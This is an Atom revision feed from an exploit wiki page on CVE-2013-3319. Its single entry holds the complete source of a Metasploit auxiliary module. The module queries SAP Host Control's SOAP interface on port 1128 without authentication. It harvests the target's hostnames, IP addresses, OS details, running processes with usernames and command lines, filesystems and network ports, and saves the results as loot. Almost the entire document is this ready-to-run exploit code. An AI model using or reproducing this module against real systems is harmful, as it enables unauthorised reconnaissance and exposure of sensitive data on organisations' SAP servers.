<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2013-3319_SAP_Netweaver_7.03_%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2013-3319 SAP Netweaver 7.03 敏感信息泄漏漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2013-3319_SAP_Netweaver_7.03_%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2013-3319_SAP_Netweaver_7.03_%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T14:45:04Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2013-3319_SAP_Netweaver_7.03_%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;diff=1021&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; require 'msf/core' require 'rexml/document'  class Metasploit4 &lt; Msf::Auxiliary  	include Msf::Exploit::Remote::HttpClient 	include Msf::Auxiliary::Report 	inclu...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2013-3319_SAP_Netweaver_7.03_%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;diff=1021&amp;oldid=prev"/>
		<updated>2021-04-06T02:50:44Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; require &amp;#039;msf/core&amp;#039; require &amp;#039;rexml/document&amp;#039;  class Metasploit4 &amp;lt; Msf::Auxiliary  	include Msf::Exploit::Remote::HttpClient 	include Msf::Auxiliary::Report 	inclu...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
require 'msf/core'&lt;br /&gt;
require 'rexml/document'&lt;br /&gt;
&lt;br /&gt;
class Metasploit4 &amp;lt; Msf::Auxiliary&lt;br /&gt;
&lt;br /&gt;
	include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
	include Msf::Auxiliary::Report&lt;br /&gt;
	include Msf::Auxiliary::Scanner&lt;br /&gt;
&lt;br /&gt;
	def initialize&lt;br /&gt;
		super(&lt;br /&gt;
			'Name'         =&amp;gt; 'SAP Host Agent Information Disclosure',&lt;br /&gt;
			'Description'  =&amp;gt; %q{&lt;br /&gt;
				This module attempts to retrieve Computer and OS info from Host Agent&lt;br /&gt;
through the SAP HostControl service&lt;br /&gt;
				},&lt;br /&gt;
			'References'   =&amp;gt;&lt;br /&gt;
				[&lt;br /&gt;
					# General&lt;br /&gt;
					[ 'CVE', '2013-3319'],&lt;br /&gt;
					[ 'URL', 'https://service.sap.com/sap/support/notes/1816536' ],&lt;br /&gt;
				    [ 'URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/']&lt;br /&gt;
				],&lt;br /&gt;
			'Author'       =&amp;gt;&lt;br /&gt;
				[&lt;br /&gt;
					'Bruno Morisson &amp;lt;bm[at]integrity.pt&amp;gt;'&lt;br /&gt;
				],&lt;br /&gt;
			'License'      =&amp;gt; MSF_LICENSE&lt;br /&gt;
		)&lt;br /&gt;
&lt;br /&gt;
		register_options(&lt;br /&gt;
			[&lt;br /&gt;
				Opt::RPORT(1128)&lt;br /&gt;
			], self.class)&lt;br /&gt;
&lt;br /&gt;
		register_autofilter_ports([ 1128 ])&lt;br /&gt;
		deregister_options('RHOST')&lt;br /&gt;
		deregister_options('VHOST')&lt;br /&gt;
&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	def run_host(rhost)&lt;br /&gt;
&lt;br /&gt;
		rport = datastore['RPORT']&lt;br /&gt;
&lt;br /&gt;
		print_status(&amp;quot;Connecting to SAP Host Control SOAP Interface on #{rhost}:#{rport}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
		success = false&lt;br /&gt;
		fault = false&lt;br /&gt;
&lt;br /&gt;
		data = '&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;'&lt;br /&gt;
		data &amp;lt;&amp;lt; '&amp;lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&amp;quot;http://schemas.xmlsoap.org/soap/envelope/&amp;quot;'&lt;br /&gt;
		data &amp;lt;&amp;lt; 'xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot; xmlns:xs=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;&amp;gt;'&lt;br /&gt;
		data &amp;lt;&amp;lt; '&amp;lt;SOAP-ENV:Header&amp;gt;&amp;lt;sapsess:Session xlmns:sapsess=&amp;quot;http://www.sap.com/webas/630/soap/features/session/&amp;quot;&amp;gt;'&lt;br /&gt;
		data &amp;lt;&amp;lt; '&amp;lt;enableSession&amp;gt;true&amp;lt;/enableSession&amp;gt;&amp;lt;/sapsess:Session&amp;gt;&amp;lt;/SOAP-ENV:Header&amp;gt;&amp;lt;SOAP-ENV:Body&amp;gt;'&lt;br /&gt;
		data &amp;lt;&amp;lt; '&amp;lt;ns1:GetComputerSystem xmlns:ns1=&amp;quot;urn:SAPHostControl&amp;quot;&amp;gt;&amp;lt;aArguments&amp;gt;&amp;lt;item&amp;gt;'&lt;br /&gt;
		data &amp;lt;&amp;lt; '&amp;lt;mKey&amp;gt;provider&amp;lt;/mKey&amp;gt;&amp;lt;mValue&amp;gt;saposcol&amp;lt;/mValue&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;/aArguments&amp;gt;&amp;lt;/ns1:GetComputerSystem&amp;gt;'&lt;br /&gt;
		data &amp;lt;&amp;lt; &amp;quot;&amp;lt;/SOAP-ENV:Body&amp;gt;&amp;lt;/SOAP-ENV:Envelope&amp;gt;\r\n\r\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
		begin&lt;br /&gt;
&lt;br /&gt;
			res = send_request_raw({&lt;br /&gt;
				'uri'      =&amp;gt; &amp;quot;/#{datastore['URI']}&amp;quot;,&lt;br /&gt;
				'method'   =&amp;gt; 'POST',&lt;br /&gt;
				'data'     =&amp;gt; data,&lt;br /&gt;
				'headers'  =&amp;gt;&lt;br /&gt;
					{&lt;br /&gt;
						'Content-Length' =&amp;gt; data.length,&lt;br /&gt;
						'SOAPAction'	=&amp;gt; '&amp;quot;&amp;quot;',&lt;br /&gt;
						'Content-Type'  =&amp;gt; 'text/xml; charset=UTF-8',&lt;br /&gt;
					}&lt;br /&gt;
			    }, 15)&lt;br /&gt;
&lt;br /&gt;
        	if res and res.code == 200&lt;br /&gt;
&lt;br /&gt;
				print_good(&amp;quot;Got response from server, parsing...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
				env = []&lt;br /&gt;
				saptbl =[]&lt;br /&gt;
				totalitems=0&lt;br /&gt;
&lt;br /&gt;
				saptbl[0] = Msf::Ui::Console::Table.new(&lt;br /&gt;
					Msf::Ui::Console::Table::Style::Default,&lt;br /&gt;
					'Header'    =&amp;gt; &amp;quot;Remote Computer Listing&amp;quot;,&lt;br /&gt;
					'Prefix'  =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Postfix' =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Indent'    =&amp;gt; 1,&lt;br /&gt;
					'Columns'   =&amp;gt;&lt;br /&gt;
						[&lt;br /&gt;
							&amp;quot;Names&amp;quot;,&lt;br /&gt;
							&amp;quot;Hostnames&amp;quot;,&lt;br /&gt;
							&amp;quot;IPAddresses&amp;quot;&lt;br /&gt;
						])&lt;br /&gt;
&lt;br /&gt;
				saptbl[1] = Msf::Ui::Console::Table.new(&lt;br /&gt;
					Msf::Ui::Console::Table::Style::Default,&lt;br /&gt;
					'Header'    =&amp;gt; &amp;quot;Remote OS Listing&amp;quot;,&lt;br /&gt;
					'Prefix'  =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Postfix' =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Indent'    =&amp;gt; 1,&lt;br /&gt;
					'Columns'   =&amp;gt;&lt;br /&gt;
						[&lt;br /&gt;
							&amp;quot;Name&amp;quot;,&lt;br /&gt;
							&amp;quot;Type&amp;quot;,&lt;br /&gt;
							&amp;quot;Version&amp;quot;,&lt;br /&gt;
							&amp;quot;TotalMemSize&amp;quot;,&lt;br /&gt;
							&amp;quot;Load Avg 1m&amp;quot;,&lt;br /&gt;
							&amp;quot;Load Avg 5m&amp;quot;,&lt;br /&gt;
							&amp;quot;Load Avg 15m&amp;quot;,&lt;br /&gt;
							&amp;quot;CPUs&amp;quot;,&lt;br /&gt;
							&amp;quot;CPU User&amp;quot;,&lt;br /&gt;
							&amp;quot;CPU Sys&amp;quot;,&lt;br /&gt;
							&amp;quot;CPU Idle&amp;quot;&lt;br /&gt;
						])&lt;br /&gt;
&lt;br /&gt;
				saptbl[2] = Msf::Ui::Console::Table.new(&lt;br /&gt;
					Msf::Ui::Console::Table::Style::Default,&lt;br /&gt;
					'Header'    =&amp;gt; &amp;quot;Remote Process Listing&amp;quot;,&lt;br /&gt;
					'Prefix'  =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Postfix' =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Indent'    =&amp;gt; 1,&lt;br /&gt;
					'Columns'   =&amp;gt;&lt;br /&gt;
						[	&amp;quot;Name&amp;quot;,&lt;br /&gt;
						     &amp;quot;PID&amp;quot;,&lt;br /&gt;
						     &amp;quot;Username&amp;quot;,&lt;br /&gt;
						     &amp;quot;Priority&amp;quot;,&lt;br /&gt;
						     &amp;quot;Size&amp;quot;,&lt;br /&gt;
						     &amp;quot;Pages&amp;quot;,&lt;br /&gt;
						     &amp;quot;CPU&amp;quot;,&lt;br /&gt;
						     &amp;quot;CPU Time&amp;quot;,&lt;br /&gt;
						     &amp;quot;Command&amp;quot;&lt;br /&gt;
						])&lt;br /&gt;
&lt;br /&gt;
				saptbl[3] = Msf::Ui::Console::Table.new(&lt;br /&gt;
					Msf::Ui::Console::Table::Style::Default,&lt;br /&gt;
					'Header'    =&amp;gt; &amp;quot;Remote Filesystem Listing&amp;quot;,&lt;br /&gt;
					'Prefix'  =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Postfix' =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Indent'    =&amp;gt; 1,&lt;br /&gt;
					'Columns'   =&amp;gt;&lt;br /&gt;
						[	&amp;quot;Name&amp;quot;,&lt;br /&gt;
						     &amp;quot;Size&amp;quot;,&lt;br /&gt;
						     &amp;quot;Available&amp;quot;,&lt;br /&gt;
						     &amp;quot;Remote&amp;quot;&lt;br /&gt;
						])&lt;br /&gt;
&lt;br /&gt;
				saptbl[4] = Msf::Ui::Console::Table.new(&lt;br /&gt;
					Msf::Ui::Console::Table::Style::Default,&lt;br /&gt;
					'Header'    =&amp;gt; &amp;quot;Network Port Listing&amp;quot;,&lt;br /&gt;
					'Prefix'  =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Postfix' =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
					'Indent'    =&amp;gt; 1,&lt;br /&gt;
					'Columns'   =&amp;gt;&lt;br /&gt;
						[	&amp;quot;ID&amp;quot;,&lt;br /&gt;
						     &amp;quot;PacketsIn&amp;quot;,&lt;br /&gt;
						     &amp;quot;PacketsOut&amp;quot;,&lt;br /&gt;
						     &amp;quot;ErrorsIn&amp;quot;,&lt;br /&gt;
						     &amp;quot;ErrorsOut&amp;quot;,&lt;br /&gt;
						     &amp;quot;Collisions&amp;quot;&lt;br /&gt;
						])&lt;br /&gt;
&lt;br /&gt;
				mxml = REXML::Document.new(res.body)&lt;br /&gt;
&lt;br /&gt;
				itsamcs = mxml.elements.to_a(&amp;quot;//mProperties/&amp;quot;) # OS info&lt;br /&gt;
&lt;br /&gt;
				itsam = mxml.elements.to_a(&amp;quot;//item/mProperties/&amp;quot;) # all other info&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
				itsamcs.each { |name|&lt;br /&gt;
					tbl =[]&lt;br /&gt;
					body = []&lt;br /&gt;
					body = &amp;quot;#{name}&amp;quot;&lt;br /&gt;
					env = body.scan(/&amp;lt;item&amp;gt;&amp;lt;mName&amp;gt;(.+?)&amp;lt;\/mName&amp;gt;&amp;lt;mType&amp;gt;(.+?)&amp;lt;\/mType&amp;gt;&amp;lt;mValue&amp;gt;(.+?)&amp;lt;\/mValue&amp;gt;&amp;lt;\/item&amp;gt;/ix)&lt;br /&gt;
&lt;br /&gt;
					if env&lt;br /&gt;
&lt;br /&gt;
						totalitems +=1&lt;br /&gt;
&lt;br /&gt;
						case &amp;quot;#{env}&amp;quot;&lt;br /&gt;
							when /ITSAMComputerSystem/&lt;br /&gt;
&lt;br /&gt;
								env.each do |m|&lt;br /&gt;
									tbl &amp;lt;&amp;lt; &amp;quot;#{m[2]}&amp;quot; unless (&amp;quot;#{m}&amp;quot; =~ /ITSAM/)&lt;br /&gt;
								end&lt;br /&gt;
&lt;br /&gt;
								saptbl[0] &amp;lt;&amp;lt; [ tbl[0], tbl[1], tbl[2]]&lt;br /&gt;
								success = true # we have at least one response&lt;br /&gt;
						end&lt;br /&gt;
&lt;br /&gt;
					end&lt;br /&gt;
				}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
				itsam.each { |name|&lt;br /&gt;
					tbl =[]&lt;br /&gt;
					body = []&lt;br /&gt;
					# some items have no &amp;lt;mValue&amp;gt;, so we put a dummy with nil&lt;br /&gt;
					body = &amp;quot;#{name}&amp;quot;.gsub(/\/mType&amp;gt;&amp;lt;\/item/,&amp;quot;\/mType&amp;gt;&amp;lt;mValue&amp;gt;(nil)&amp;lt;\/mValue&amp;gt;&amp;lt;\/item&amp;quot;)&lt;br /&gt;
					env = body.scan(/&amp;lt;item&amp;gt;&amp;lt;mName&amp;gt;(.+?)&amp;lt;\/mName&amp;gt;&amp;lt;mType&amp;gt;(.+?)&amp;lt;\/mType&amp;gt;&amp;lt;mValue&amp;gt;(.+?)&amp;lt;\/mValue&amp;gt;&amp;lt;\/item&amp;gt;/ix)&lt;br /&gt;
&lt;br /&gt;
					if env&lt;br /&gt;
&lt;br /&gt;
						totalitems +=1&lt;br /&gt;
&lt;br /&gt;
						env.each do |m|&lt;br /&gt;
							tbl &amp;lt;&amp;lt; &amp;quot;#{m[2]}&amp;quot; unless (&amp;quot;#{m}&amp;quot; =~ /ITSAM/)&lt;br /&gt;
						end&lt;br /&gt;
&lt;br /&gt;
						case &amp;quot;#{env}&amp;quot;&lt;br /&gt;
							when /ITSAMOperatingSystem/&lt;br /&gt;
								saptbl[1] &amp;lt;&amp;lt; [ tbl[0], tbl[1], tbl[2], tbl[8], tbl[11],tbl[12],tbl[13],tbl[17],tbl[18]+'%',tbl[19]+'%',tbl[20]+'%']&lt;br /&gt;
								success = true # we have at least one response&lt;br /&gt;
&lt;br /&gt;
							when /ITSAMOSProcess/&lt;br /&gt;
								saptbl[2] &amp;lt;&amp;lt; [ tbl[0], tbl[1], tbl[2], tbl[3], tbl[4],tbl[5],tbl[6]+'%',tbl[7],tbl[8] ]&lt;br /&gt;
								success = true # we have at least one response&lt;br /&gt;
&lt;br /&gt;
							when /ITSAMFileSystem/&lt;br /&gt;
								saptbl[3] &amp;lt;&amp;lt; [ tbl[0], tbl[2], tbl[3], tbl[4] ]&lt;br /&gt;
								success = true # we have at least one response&lt;br /&gt;
&lt;br /&gt;
							when /ITSAMNetworkPort/&lt;br /&gt;
								saptbl[4] &amp;lt;&amp;lt; [ tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5] ]&lt;br /&gt;
								success = true # we have at least one response&lt;br /&gt;
						end&lt;br /&gt;
&lt;br /&gt;
					end&lt;br /&gt;
				}&lt;br /&gt;
&lt;br /&gt;
			elsif res and  res.code == 500&lt;br /&gt;
				case res.body&lt;br /&gt;
					when /&amp;lt;faultstring&amp;gt;(.*)&amp;lt;\/faultstring&amp;gt;/i&lt;br /&gt;
						faultcode = $1.strip&lt;br /&gt;
						fault = true&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
&lt;br /&gt;
		rescue ::Rex::ConnectionError&lt;br /&gt;
			print_error(&amp;quot;Unable to connect to #{rhost}:#{rport}&amp;quot;)&lt;br /&gt;
			return&lt;br /&gt;
		end&lt;br /&gt;
&lt;br /&gt;
		if success&lt;br /&gt;
			print_good(&amp;quot;#{totalitems} items listed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
			saptbl.each do |t|&lt;br /&gt;
				print(t.to_s)&lt;br /&gt;
			end&lt;br /&gt;
&lt;br /&gt;
			p = store_loot(&lt;br /&gt;
				&amp;quot;sap.getcomputersystem&amp;quot;,&lt;br /&gt;
				&amp;quot;text/xml&amp;quot;,&lt;br /&gt;
				rhost,&lt;br /&gt;
				res.body,&lt;br /&gt;
				&amp;quot;sap_getcomputersystem.xml&amp;quot;,&lt;br /&gt;
				&amp;quot;SAP GetComputerSystem XML&amp;quot;&lt;br /&gt;
			)&lt;br /&gt;
			print_status(&amp;quot;Response stored in: #{p}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
			return&lt;br /&gt;
		elsif fault&lt;br /&gt;
			print_error(&amp;quot;#{rhost}:#{rport} - Error code: #{faultcode}&amp;quot;)&lt;br /&gt;
			return&lt;br /&gt;
		else&lt;br /&gt;
			print_error(&amp;quot;#{rhost}:#{rport} - Failed to parse list&amp;quot;)&lt;br /&gt;
			return&lt;br /&gt;
		end&lt;br /&gt;
		return&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>